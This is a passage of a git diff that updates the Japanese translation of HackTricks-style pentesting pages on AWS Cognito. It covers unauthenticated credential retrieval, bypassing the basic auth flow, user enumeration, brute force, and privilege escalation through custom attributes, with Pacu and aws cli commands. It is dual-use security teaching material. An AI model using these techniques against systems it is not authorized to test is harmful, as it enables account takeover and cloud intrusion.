../aws-privilege-escalation/aws-codebuild-privesc.md {{#endref}} -### Post Exploitation +### ポストエクスプロイト {{#ref}} ../aws-post-exploitation/aws-codebuild-post-exploitation/ {{#endref}} -### Unauthenticated Access +### 認証されていないアクセス {{#ref}} ../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md {{#endref}} -## References +## 参考文献 - [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index a570d32ef..dda2defea 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -4,12 +4,12 @@ ## Cognito -Amazon Cognitoは、ウェブおよびモバイルアプリケーションにおける**認証、承認、およびユーザー管理**に利用されます。ユーザーは、**ユーザー名とパスワード**を直接使用してサインインするか、Facebook、Amazon、Google、またはAppleなどの**第三者**を通じて間接的にサインインする柔軟性があります。 +Amazon Cognitoは、ウェブおよびモバイルアプリケーションにおける**認証、承認、およびユーザー管理**に利用されます。ユーザーは、**ユーザー名とパスワード**を使用して直接サインインするか、Facebook、Amazon、Google、またはAppleなどの**第三者**を通じて間接的にサインインする柔軟性があります。 Amazon Cognitoの中心には、2つの主要なコンポーネントがあります: -1. **ユーザープール**:これらはアプリのユーザー向けに設計されたディレクトリで、**サインアップおよびサインイン機能**を提供します。 -2. **アイデンティティプール**:これらのプールは、**異なるAWSサービスへのユーザーアクセスを承認する**のに重要です。サインインやサインアッププロセスには直接関与しませんが、認証後のリソースアクセスには重要です。 +1. **ユーザープール**:これは、アプリのユーザーのために設計されたディレクトリで、**サインアップおよびサインイン機能**を提供します。 +2. **アイデンティティプール**:これらのプールは、**異なるAWSサービスへのアクセスをユーザーに許可する**のに重要です。サインインまたはサインアッププロセスには直接関与しませんが、認証後のリソースアクセスにとって重要です。 ### **ユーザープール** @@ -73,11 +73,11 @@ aws cognito-idp describe-risk-configuration --user-pool-id ``` ### アイデンティティプール - 認証されていない列挙 -単に**アイデンティティプールID**を知っているだけで、**認証されていない**ユーザーに関連付けられた**ロールの資格情報を取得できる**かもしれません(もしあれば)。 [**ここで確認してください**](cognito-identity-pools.md#accessing-iam-roles)。 +単に **アイデンティティプールIDを知っているだけで**、**認証されていない**ユーザーに関連付けられた**ロールの資格情報を取得できるかもしれません**(もしあれば)。 [**ここで確認してください**](cognito-identity-pools.md#accessing-iam-roles)。 ### ユーザープール - 認証されていない列挙 -Cognito内で**有効なユーザー名**を知らなくても、**有効な**ユーザー名を**列挙**したり、**パスワード**を**ブルートフォース**したり、**アプリクライアントID**を知っているだけで**新しいユーザーを登録**できるかもしれません(通常はソースコードに見つかります)。 [**ここで確認してください**](cognito-user-pools.md#registration)**。** +Cognito内で**有効なユーザー名を知らなくても**、**有効なユーザー名を列挙**したり、**パスワードをブルートフォース**したり、**新しいユーザーを登録**したりできるかもしれません。これは**アプリクライアントIDを知っているだけで**(通常はソースコードに見つかります)。 [**ここで確認してください**](cognito-user-pools.md#registration)**。** ## 権限昇格 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index bf1709991..22d6c55d5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -4,12 +4,12 @@ ## 基本情報 -アイデンティティプールは、ユーザーが**一時的な資格情報を取得**できるようにする重要な役割を果たします。これらの資格情報は、Amazon S3やDynamoDBを含むさまざまなAWSサービスにアクセスするために不可欠です。アイデンティティプールの注目すべき機能は、匿名のゲストユーザーとユーザー認証のためのさまざまなアイデンティティプロバイダーの両方をサポートしていることです。サポートされているアイデンティティプロバイダーには以下が含まれます: +Identity poolsは、ユーザーが**一時的な資格情報を取得**できるようにする重要な役割を果たします。これらの資格情報は、Amazon S3やDynamoDBを含むさまざまなAWSサービスにアクセスするために不可欠です。Identity poolsの注目すべき機能は、匿名のゲストユーザーとユーザー認証のためのさまざまなアイデンティティプロバイダーの両方をサポートしていることです。サポートされているアイデンティティプロバイダーには以下が含まれます: - Amazon Cognitoユーザープール - Facebook、Google、Login with Amazon、Sign in with Appleなどのソーシャルサインインオプション -- OpenID Connect (OIDC) に準拠したプロバイダー -- SAML (Security Assertion Markup Language) アイデンティティプロバイダー +- OpenID Connect (OIDC)に準拠したプロバイダー +- SAML (Security Assertion Markup Language)アイデンティティプロバイダー - 開発者認証されたアイデンティティ ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: @@ -35,7 +35,7 @@ print(response) ``` ### Cognito Sync -Identity Pool セッションを生成するには、まず **Identity ID を生成する必要があります**。この Identity ID は **そのユーザーのセッションの識別子です**。これらの識別子は、最大 20 のデータセットを持ち、最大 1MB のキーと値のペアを保存できます。 +Identity Pool セッションを生成するには、まず **Identity ID を生成する必要があります**。この Identity ID は **そのユーザーのセッションの識別子です**。これらの識別子は最大で 20 のデータセットを持ち、最大 1MB のキーと値のペアを保存できます。 これは **ユーザーの情報を保持するのに便利です**(常に同じ Identity ID を使用するユーザー)。 @@ -43,23 +43,23 @@ Identity Pool セッションを生成するには、まず **Identity ID を生 ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu) は、AWS のエクスプロイトフレームワークで、現在 "cognito\_\_enum" および "cognito\_\_attack" モジュールが含まれており、アカウント内のすべての Cognito アセットの列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けし、ユーザー作成(MFA サポートを含む)や、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、ID トークン内の引き受け可能なロールに基づく特権昇格を自動化します。 +- [Pacu](https://github.com/RhinoSecurityLabs/pacu) は、AWS のエクスプロイトフレームワークで、現在 "cognito\_\_enum" および "cognito\_\_attack" モジュールが含まれており、アカウント内のすべての Cognito アセットの列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けし、またユーザー作成(MFA サポートを含む)や、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、ID トークン内の引き受け可能なロールに基づく特権昇格を自動化します。 モジュールの機能の説明については、[ブログ投稿](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)のパート 2 を参照してください。インストール手順については、メインの [Pacu](https://github.com/RhinoSecurityLabs/pacu) ページを参照してください。 #### Usage -サンプル cognito\_\_attack 使用法は、特定のアイデンティティプールおよびユーザープールクライアントに対してユーザー作成とすべての特権昇格ベクターを試みるものです: +サンプルの cognito\_\_attack 使用法は、特定のアイデンティティプールおよびユーザープールクライアントに対してユーザー作成とすべての特権昇格ベクターを試みるものです: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -サンプル cognito\_\_enum の使用法:現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集します。 +サンプル cognito\_\_enum の使用法は、現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集します: ```bash Pacu (new:test) > run cognito__enum ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は、不要なアカウント作成やアイデンティティプールのエスカレーションを含む、Cognitoに対するさまざまな攻撃を実装したPythonのCLIツールです。 +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は、不要なアカウント作成やアイデンティティプールのエスカレーションを含む、Cognito に対するさまざまな攻撃を実装した Python の CLI ツールです。 #### インストール ```bash @@ -69,18 +69,18 @@ $ pip install cognito-scanner ```bash $ cognito-scanner --help ``` -For more information check https://github.com/padok-team/cognito-scanner +詳細については、https://github.com/padok-team/cognito-scanner を確認してください。 -## アクセス IAM ロール +## IAMロールへのアクセス ### 認証されていない -攻撃者がCognitoアプリで**AWS資格情報**を取得するために認証されていないユーザーとして知っておくべき唯一のことは**アイデンティティプールID**であり、この**IDはウェブ/モバイル** **アプリケーション**にハードコーディングされている必要があります。IDは次のようになります: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b`(ブルートフォース攻撃はできません)。 +攻撃者がCognitoアプリで**AWS資格情報**を取得するために認証されていないユーザーとして知っておくべき唯一のことは、**Identity Pool ID**であり、この**IDはハードコーディング**されている必要があります。IDは次のようになります: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b`(ブルートフォース攻撃はできません)。 > [!TIP] -> **IAM Cognito 認証されていないロールはデフォルトで** `Cognito_Unauth_Role` と呼ばれます。 +> **IAM Cognitoの認証されていないロールは、デフォルトで** `Cognito_Unauth_Role` **と呼ばれます** -ハードコーディングされたアイデンティティプールIDを見つけ、それが認証されていないユーザーを許可している場合、次のコマンドでAWS資格情報を取得できます: +ハードコーディングされたIdentity Pools IDを見つけ、それが認証されていないユーザーを許可している場合、次の方法でAWS資格情報を取得できます: ```python import requests @@ -106,7 +106,7 @@ r = requests.post(url, json=params, headers=headers) print(r.json()) ``` -または、次の**aws cliコマンド**を使用できます: +次の**aws cli コマンド**を使用することもできます: ```bash aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign @@ -116,7 +116,7 @@ aws cognito-identity get-credentials-for-identity --identity-id -- ### 強化された認証フローと基本認証フロー -前のセクションでは、**デフォルトの強化された認証フロー**に従いました。このフローは、生成されたIAMロールセッションに**制限的な**[**セッションポリシー**](../../aws-basic-information/#session-policies)を設定します。このポリシーは、セッションが[**このリストのサービスを使用することをのみ許可します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)(ロールが他のサービスにアクセスできた場合でも)。 +前のセクションでは、**デフォルトの強化された認証フロー**に従いました。このフローは、生成されたIAMロールセッションに**制限的な**[**セッションポリシー**](../../aws-basic-information/#session-policies)を設定します。このポリシーは、セッションが[**このリストのサービスを使用することを許可する**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)だけです(ロールが他のサービスにアクセスできた場合でも)。 ただし、これを回避する方法があります。**アイデンティティプールに「基本(クラシック)フロー」が有効になっている場合**、ユーザーはそのフローを使用してセッションを取得でき、**その制限的なセッションポリシーを持たない**ことになります。 ```bash @@ -140,11 +140,11 @@ IAM資格情報のセットを持っている場合は、[どのアクセス権 ### 認証済み > [!NOTE] -> **認証済みユーザー**には**異なる権限**が付与される可能性があるため、アプリ内で**サインアップできる**場合は、それを試みて新しい資格情報を取得してください。 +> **認証済みユーザー**にはおそらく**異なる権限**が付与されるため、アプリ内で**サインアップできる**場合は、それを試みて新しい資格情報を取得してください。 -**認証済みユーザーがIdentity Poolにアクセスするための** **ロール**も利用可能な場合があります。 +**認証済みユーザーがIdentity Poolにアクセスするための** **ロール**も利用可能かもしれません。 -そのためには、**アイデンティティプロバイダー**へのアクセスが必要です。それが**Cognitoユーザープール**であれば、デフォルトの動作を悪用して**自分で新しいユーザーを作成できるかもしれません**。 +そのためには、**アイデンティティプロバイダー**へのアクセスが必要です。もしそれが**Cognitoユーザープール**であれば、デフォルトの動作を悪用して**自分で新しいユーザーを作成できるかもしれません**。 > [!TIP] > **IAM Cognito認証ロールはデフォルトで** `Cognito_Auth_Role` と呼ばれます。 @@ -162,7 +162,7 @@ aws cognito-identity get-credentials-for-identity \ # IdTokenには、ユーザープールグループによってユーザーがアクセスできるロールが含まれています -# --custom-role-arnを使用して特定のロールの資格情報を取得します +# 特定のロールの資格情報を取得するには--custom-role-arnを使用します aws cognito-identity get-credentials-for-identity \ --identity-id <identity_id> \ --custom-role-arn <role_arn> \ @@ -170,6 +170,6 @@ aws cognito-identity get-credentials-for-identity \
> [!WARNING] -> ユーザーがログインしているアイデンティティプロバイダーや**ユーザー**(クレームを使用)によって、**異なるIAMロールを構成することが可能です**。したがって、同じまたは異なるプロバイダーを通じて異なるユーザーにアクセスできる場合は、**すべてのユーザーのIAMロールにログインしてアクセスする価値があるかもしれません**。 +> **ユーザーがログインしているアイデンティティプロバイダー**や**ユーザー**(クレームを使用)に応じて、異なるIAMロールを**構成することが可能です**。したがって、同じまたは異なるプロバイダーを通じて異なるユーザーにアクセスできる場合は、**すべてのユーザーのIAMロールにログインしてアクセスする価値があるかもしれません**。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 748c1540a..6ee1b4e8b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -4,28 +4,29 @@ ## 基本情報 -ユーザープールは、Amazon Cognitoのユーザーディレクトリです。ユーザープールを使用すると、ユーザーはAmazon Cognitoを通じて**ウェブまたはモバイルアプリにサインイン**したり、**サードパーティ**のアイデンティティプロバイダー(IdP)を通じて**フェデレーション**したりできます。ユーザーが直接サインインするか、サードパーティを通じてサインインするかにかかわらず、ユーザープールのすべてのメンバーには、SDKを通じてアクセスできるディレクトリプロファイルがあります。 +ユーザープールは、Amazon Cognitoのユーザーディレクトリです。ユーザープールを使用すると、ユーザーはAmazon Cognitoを通じて**ウェブまたはモバイルアプリにサインイン**したり、**サードパーティ**のアイデンティティプロバイダー(IdP)を通じて**フェデレート**したりできます。ユーザーが直接サインインするか、サードパーティを通じてサインインするかにかかわらず、ユーザープールのすべてのメンバーには、SDKを通じてアクセスできるディレクトリプロファイルがあります。 ユーザープールは以下を提供します: - サインアップおよびサインインサービス。 - ユーザーをサインインさせるための組み込みのカスタマイズ可能なウェブUI。 - Facebook、Google、Amazonでのログイン、Appleでのサインイン、及びユーザープールからのSAMLおよびOIDCアイデンティティプロバイダーを使用したソーシャルサインイン。 -- ユーザーディレクトリ管理およびユーザープロファイル。 +- ユーザーディレクトリ管理とユーザープロファイル。 - 多要素認証(MFA)、侵害された資格情報のチェック、アカウント乗っ取り防止、電話およびメールの確認などのセキュリティ機能。 -- AWS Lambdaトリガーを通じたカスタマイズされたワークフローおよびユーザー移行。 +- AWS Lambdaトリガーを通じたカスタマイズされたワークフローとユーザー移行。 -アプリケーションの**ソースコード**には通常、**ユーザープールID**および**クライアントアプリケーションID**(および場合によっては**アプリケーションシークレット**?)が含まれており、これらは**ユーザーがCognitoユーザープールにログイン**するために必要です。 +アプリケーションの**ソースコード**には通常、**ユーザープールID**と**クライアントアプリケーションID**(おそらく**アプリケーションシークレット**も?)が含まれており、これらは**ユーザーがCognitoユーザープールにログイン**するために必要です。 ### 潜在的な攻撃 -- **登録**:デフォルトでは、ユーザーは自分自身を登録できるため、自分用のユーザーを作成できます。 +- **登録**:デフォルトでは、ユーザーは自分自身を登録できるため、自分のためにユーザーを作成できます。 - **ユーザー列挙**:登録機能を使用して、既に存在するユーザー名を見つけることができます。この情報はブルートフォース攻撃に役立ちます。 -- **ログインブルートフォース**:[**認証**](cognito-user-pools.md#authentication)セクションには、ユーザーが**ログイン**するためのすべての**方法**が記載されており、それらをブルートフォースして**有効な資格情報を見つける**ことができます。 +- **ログインブルートフォース**:[**認証**](cognito-user-pools.md#authentication)セクションには、ユーザーが**ログイン**するためのすべての**方法**が記載されており、これらをブルートフォースして**有効な資格情報を見つける**ことができます。 ### ペンテスト用ツール -- [Pacu](https://github.com/RhinoSecurityLabs/pacu)は、現在`cognito__enum`および`cognito__attack`モジュールを含んでおり、アカウント内のすべてのCognito資産の列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けし、またユーザー作成(MFAサポートを含む)および変更可能なカスタム属性に基づく特権昇格を自動化します。モジュールの機能の説明については、[ブログ投稿](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)のパート2を参照してください。インストール手順については、メインの[Pacu](https://github.com/RhinoSecurityLabs/pacu)ページを参照してください。 +- [Pacu](https://github.com/RhinoSecurityLabs/pacu)は、現在`cognito__enum`および`cognito__attack`モジュールを含んでおり、アカウント内のすべてのCognito資産の列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けし、またユーザー作成(MFAサポートを含む)や、変更可能なカスタム属性に基づく権限昇格、使用可能なアイデンティティプール資格情報、IDトークン内の引き受け可能なロールなどを自動化します。\ +モジュールの機能の説明については、[ブログ投稿](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)のパート2を参照してください。インストール手順については、メインの[Pacu](https://github.com/RhinoSecurityLabs/pacu)ページを参照してください。 ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account Pacu (new:test) > run cognito__enum @@ -35,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は、不要なアカウント作成やアカウントオラクルを含む、Cognitoに対するさまざまな攻撃を実装したPythonのCLIツールです。詳細については[このリンク](https://github.com/padok-team/cognito-scanner)を確認してください。 +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は、不要なアカウント作成やアカウントオラクルを含むさまざまな攻撃をCognitoに対して実行するPythonのCLIツールです。詳細については[このリンク](https://github.com/padok-team/cognito-scanner)を確認してください。 ```bash # Install pip install cognito-scanner @@ -72,30 +73,30 @@ An error occurred (UsernameExistsException) when calling the SignUp operation: U > 前のコマンドで**カスタム属性が "custom:" で始まる**ことに注意してください。\ > また、登録時に**ユーザーの新しいカスタム属性を作成することはできません**。**デフォルト属性**(必須でなくても)と**指定されたカスタム属性**にのみ値を与えることができます。 -また、クライアントIDが存在するかどうかをテストするためです。クライアントIDが存在しない場合のエラーは次のとおりです: +または、クライアントIDが存在するかどうかをテストするためです。クライアントIDが存在しない場合のエラーは次のとおりです: ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` #### 管理者のみがユーザーを登録できる場合 -このエラーが表示され、ユーザーを登録したり列挙したりすることができません。 +このエラーが表示され、ユーザーを登録したり列挙したりすることはできません: ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` ### 登録の確認 -Cognitoは**新しいユーザーのメールアドレスまたは電話番号を確認することによって確認することを許可します**。したがって、ユーザーを作成する際には通常、少なくともユーザー名とパスワード、そして**メールアドレスおよび/または電話番号**が必要です。**あなたが管理する**ものを設定するだけで、次のように新しく作成したユーザー**アカウント**を**確認する**ためのコードを受け取ることができます: +Cognitoは**新しいユーザーのメールアドレスまたは電話番号を確認することで確認を行う**ことができます。したがって、ユーザーを作成する際には通常、少なくともユーザー名とパスワード、そして**メールアドレスおよび/または電話番号**が必要です。**あなたが管理する**ものを設定するだけで、次のように新しく作成したユーザー**アカウント**を**確認する**ためのコードを受け取ることができます: ```bash aws cognito-idp confirm-sign-up --client-id \ --username aasdasd2 --confirmation-code \ --no-sign-request --region us-east-1 ``` > [!WARNING] -> 同じメールアドレス**や電話番号を使用できるように見えても**、作成したユーザーを確認する必要があるとき、Cognitoは同じ情報を使用していることに文句を言い、**アカウントの確認を許可しません**。 +> 同じメールアドレスと電話番号を使用できるように見えても、作成したユーザーを確認する必要があるとき、Cognitoは同じ情報を使用していることに文句を言い、**アカウントの確認を許可しません**。 ### 権限昇格 / 属性の更新 -デフォルトでは、ユーザーは**自分の属性の値を変更できます**。 +デフォルトでは、ユーザーは**自分の属性の値を変更することができます**。 ```bash aws cognito-idp update-user-attributes \ --region us-east-1 --no-sign-request \ @@ -105,40 +106,40 @@ aws cognito-idp update-user-attributes \ #### カスタム属性の特権昇格 > [!CAUTION] -> **カスタム属性**(例えば `isAdmin`)が使用されているのを見つけるかもしれません。デフォルトでは、自分の属性の**値を変更することができる**ため、自分で値を変更することで**特権を昇格させる**ことができるかもしれません! +> **カスタム属性**(例えば `isAdmin`)が使用されているのを見つけるかもしれません。デフォルトでは、自分の属性の値を**変更できるため**、自分で値を変更することで**特権を昇格させる**ことができるかもしれません! #### メール/ユーザー名の変更による特権昇格 -ユーザーの**メールと電話番号を変更する**ためにこれを使用できますが、その場合、アカウントが確認済みのままであっても、これらの属性は**未確認の状態に設定されます**(再度確認する必要があります)。 +これを使用してユーザーの**メールと電話番号を変更**できますが、その後、アカウントが確認済みのままであっても、これらの属性は**未確認の状態に設定されます**(再度確認する必要があります)。 > [!WARNING] -> 確認するまで**メールまたは電話番号でログインすることはできません**が、**ユーザー名でログインすることは可能です**。\ -> メールが変更されて未確認であっても、**`email`** **フィールド**内のIDトークンに表示され、フィールド**`email_verified`**は**false**になりますが、アプリが**それを確認していなければ、他のユーザーを偽装することができるかもしれません**。 +> メールまたは電話番号で**ログインできなくなります**が、**ユーザー名でログインすることは可能です**。\ +> メールが変更されて未確認であっても、**`email`** **フィールド**内のIDトークンに表示され、フィールド**`email_verified`**は**false**になりますが、アプリが**それを確認していない場合、他のユーザーを偽装することができるかもしれません**。 -> さらに、**name属性**を変更することで、**`name`**フィールドに何でも入れることができることに注意してください。アプリが**`email`**(または他の属性)の代わりに何らかの理由でそのフィールドを**確認している**場合、**他のユーザーを偽装することができるかもしれません**。 +> さらに、**`name`**フィールドに何でも入れることができ、**name属性**を変更するだけです。アプリが**`email`**(または他の属性)の代わりにそのフィールドを**確認している**場合、他のユーザーを**偽装することができるかもしれません**。 -とにかく、何らかの理由で新しいメールに変更した場合、そのメールアドレスで受け取ったコードで**メールを確認することができます**: +とにかく、何らかの理由でメールを新しいものに変更した場合、アクセスできる場合は、そのメールアドレスで受け取ったコードで**メールを確認することができます**: ```bash aws cognito-idp verify-user-attribute \ --access-token \ --attribute-name email --code \ --region --no-sign-request ``` -**`phone_number`** を **`email`** の代わりに使用して **新しい電話番号** を変更/確認します。 +**`phone_number`** を使用して **新しい電話番号** を変更/確認します。 > [!NOTE] -> 管理者は **ユーザーが好むユーザー名でログインするオプション** を有効にすることもできます。この値を **他のユーザーを偽装するために既に使用されている任意のユーザー名またはpreferred_username** に変更することはできないことに注意してください。 +> 管理者は **ユーザーが好むユーザー名でのログイン** オプションを有効にすることもできます。この値を **他のユーザーを偽装するために既に使用されている任意のユーザー名またはpreferred_username** に変更することはできないことに注意してください。 ### パスワードの回復/変更 -ユーザー名(またはメールまたは電話が受け入れられます)を知っているだけでパスワードを回復することが可能であり、そこにコードが送信されるため、アクセスが必要です。 +ユーザー名(またはメールまたは電話が受け入れられます)を知っているだけでパスワードを回復することが可能で、そこにコードが送信されるため、アクセスが必要です。 ```bash aws cognito-idp forgot-password \ --client-id \ --username --region ``` > [!NOTE] -> サーバーの応答は常に肯定的であり、ユーザー名が存在するかのようになります。この方法を使用してユーザーを列挙することはできません。 +> サーバーの応答は常に肯定的であり、ユーザー名が存在するかのように見えます。この方法を使用してユーザーを列挙することはできません。 コードを使用してパスワードを変更できます: ```bash @@ -157,13 +158,13 @@ aws cognito-idp change-password \ ``` ## 認証 -ユーザープールは、**異なる方法での認証**をサポートしています。**ユーザー名とパスワード**がある場合、ログインするための**異なる方法**もサポートされています。\ -さらに、ユーザーがプールで認証されると、**3種類のトークンが与えられます**: **IDトークン**、**アクセストークン**、および**リフレッシュトークン**です。 +ユーザープールは、**異なる方法での認証**をサポートしています。**ユーザー名とパスワード**があれば、ログインするための**異なる方法**もサポートされています。\ +さらに、ユーザーがプールで認証されると、**3種類のトークンが付与されます**: **IDトークン**、**アクセストークン**、および**リフレッシュトークン**です。 -- [**IDトークン**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): 認証されたユーザーの**アイデンティティに関するクレーム**(`name`、`email`、`phone_number`など)が含まれています。IDトークンは、**リソースサーバーやサーバーアプリケーションにユーザーを認証するため**にも使用できます。外部アプリケーションで使用する場合、IDトークン内のクレームを信頼する前に、IDトークンの**署名を検証**する必要があります。 +- [**IDトークン**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): 認証されたユーザーの**アイデンティティに関するクレーム**(`name`、`email`、`phone_number`など)が含まれています。IDトークンは、**リソースサーバーやサーバーアプリケーションにユーザーを認証するため**にも使用できます。外部アプリケーションで使用する場合は、IDトークン内のクレームを信頼する前に、**署名を検証**する必要があります。 - IDトークンは、**ユーザーの属性値**(カスタム属性を含む)を**含むトークン**です。 - [**アクセストークン**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): 認証されたユーザーに関するクレーム、**ユーザーのグループのリスト**、および**スコープのリスト**が含まれています。アクセストークンの目的は、ユーザープール内のユーザーのコンテキストで**API操作を認可すること**です。たとえば、アクセストークンを使用して、ユーザー属性の追加、変更、または削除を**許可する**ことができます。 -- [**リフレッシュトークン**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): リフレッシュトークンを使用すると、**リフレッシュトークンが無効になるまで**ユーザーの新しいIDトークンとアクセストークンを**取得できます**。デフォルトでは、リフレッシュトークンは、アプリケーションユーザーがユーザープールにサインインしてから**30日後に期限切れ**になります。ユーザープール用のアプリケーションを作成する際、アプリケーションのリフレッシュトークンの有効期限を**60分から10年の間の任意の値**に設定できます。 +- [**リフレッシュトークン**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): リフレッシュトークンを使用すると、**新しいIDトークンとアクセストークン**をユーザーのために取得できます。**リフレッシュトークンが無効になるまで**利用可能です。**デフォルト**では、リフレッシュトークンは、アプリケーションユーザーがユーザープールにサインインしてから**30日後に期限切れ**になります。ユーザープール用のアプリケーションを作成する際に、アプリケーションのリフレッシュトークンの有効期限を**60分から10年の間の任意の値**に設定できます。 ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH @@ -172,9 +173,9 @@ aws cognito-idp change-password \ - サーバー側のアプリが**`AdminInitiateAuth` API操作**を呼び出します(`InitiateAuth`の代わりに)。この操作には、**`cognito-idp:AdminInitiateAuth`**および**`cognito-idp:AdminRespondToAuthChallenge`**を含む権限を持つAWS資格情報が必要です。この操作は、必要な認証パラメータを返します。 - サーバー側のアプリが**認証パラメータ**を取得した後、**`AdminRespondToAuthChallenge` API操作**を呼び出します。`AdminRespondToAuthChallenge` API操作は、AWS資格情報を提供した場合にのみ成功します。 -この**方法はデフォルトでは有効になっていません**。 +この**メソッドはデフォルトで有効ではありません**。 -**ログイン**するには、次の情報が必要です: +**ログイン**するには、**次の情報が必要**です: - ユーザープールID - クライアントID @@ -183,7 +184,7 @@ aws cognito-idp change-password \ - クライアントシークレット(アプリがシークレットを使用するように構成されている場合のみ) > [!NOTE] -> この方法で**ログインできるようにするためには**、そのアプリケーションが`ALLOW_ADMIN_USER_PASSWORD_AUTH`でのログインを許可している必要があります。\ +> この方法で**ログインできるようにするためには**、そのアプリケーションが`ALLOW_ADMIN_USER_PASSWORD_AUTH`でのログインを許可する必要があります。\ > さらに、このアクションを実行するには、**`cognito-idp:AdminInitiateAuth`**および**`cognito-idp:AdminRespondToAuthChallenge`**の権限を持つ資格情報が必要です。 ```python aws cognito-idp admin-initiate-auth \ @@ -242,10 +243,10 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_PASSWORD_AUTH -このメソッドは、別のシンプルで**従来のユーザーとパスワード認証**フローです。**従来の**認証方法を**Cognito**に**移行する**ことが推奨されており、その後**無効にして**、代わりに**ALLOW_USER_SRP_AUTH**メソッドを**使用する**ことが推奨されています(このメソッドはパスワードをネットワーク上に送信しません)。\ +このメソッドは、別のシンプルで**従来のユーザーとパスワード認証**フローです。**従来の**認証方法を**Cognito**に**移行する**ことが推奨されており、その後**無効にし**、代わりに**ALLOW_USER_SRP_AUTH**メソッドを**使用する**ことが推奨されています(このメソッドはパスワードをネットワーク上に送信しません)。\ この**メソッドはデフォルトでは有効になっていません**。 -コード内の**前の認証方法**との主な**違い**は、**ユーザープールIDを知る必要がない**ことと、Cognitoユーザープールで**追加の権限が必要ない**ことです。 +コード内の**前の認証メソッド**との主な**違い**は、**ユーザープールIDを知る必要がない**ことと、Cognitoユーザープールで**追加の権限が必要ない**ことです。 **ログインするためには**、以下を知っている必要があります: @@ -309,8 +310,8 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_SRP_AUTH -このシナリオは前のものと似ていますが、**パスワードを送信する代わりに**、**チャレンジ認証が行われます**(したがって、パスワードはネットワークを通じて暗号化されても移動しません)。\ -この**方法はデフォルトで有効**です。 +このシナリオは前のものと似ていますが、**パスワードを送信する代わりに**、**チャレンジ認証が実行されます**(したがって、パスワードはネットワークを通じて暗号化されても移動しません)。\ +この**メソッドはデフォルトで有効**です。 **ログインするには**、次の情報を知っている必要があります: @@ -356,7 +357,7 @@ aws cognito-idp initiate-auth \ ```
